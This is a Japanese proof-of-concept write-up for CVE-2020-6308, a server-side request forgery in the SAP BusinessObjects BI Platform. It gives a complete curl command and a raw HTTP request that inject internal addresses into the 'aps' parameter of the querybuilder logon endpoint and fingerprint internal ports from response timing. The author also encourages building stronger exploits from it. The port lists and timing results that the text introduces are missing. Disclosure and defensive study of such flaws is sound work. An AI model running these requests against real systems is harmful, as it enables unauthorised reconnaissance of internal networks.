
CVE-2020-6308 の PoC
SAP BusinessObjects Business Intelligence Platform (Web Services) バージョン 410、420、430 には、認証されていない攻撃者が CMS パラメータとして任意の値を注入し、外部からはアクセスできない内部ネットワークに対してルックアップを実行できるという脆弱性があります。質問がある場合は Twitter でフォローするか DM を送ってください: https://twitter.com/initroott
この問題は2020年5月にSAPへ報告し、2020年10月にパッチがリリースされました。独自のPoCをさらに開発しても構いませんが、少し背景を説明します。CMS 関数は指定されたアドレスを検証しません。ホストのファイアウォールが正しく設定されていない場合、リクエストに対する応答に基づいてポートや内部ネットワークを簡単にフィンガープリントできる可能性があります。以下の例では、cURL リクエストを使用して開いているポートを確認する方法を示します。以下の例では、SAPホスト (192.168.0.191)、攻撃マシン (192.168.0.149)、および内部ルーターなどの別のデバイス (192.168.0.1) があります。
SAPホストでは次のポートが開いています:

また、内部ルーターでは次のポートが開いています: 53、80、34573

それではテストしてみましょう。リクエスト応答のタイミングに基づいて、開いているポートを簡単に特定できます。以下に例を示します:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
次のペイロードをテストします:
ここでは、クローズされたポートのテスト時間結果を確認できます。平均約5msです。

ここでは、オープン/フィルタリングされたポートのテスト時間結果がはるかに大きいことが確認できます。

以下の方法は理想的ではありません。ルーティングやファイアウォールによって結果に影響が出る可能性があるためです。ただし、より優れたエクスプロイトを構築するための出発点のアイデアは得られるはずです。上記は、ベースラインを作成してからそこからさらに調整することができます。リスナーを設定して、何が起こるかを確認することをぜひお勧めします。
以下は、APS パラメータが脆弱なインジェクションポイントとなる、Burp でのリクエストの表示例です。よりシンプルな PoC は、カナリートークン値を注入してトリガーを待つだけです。
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp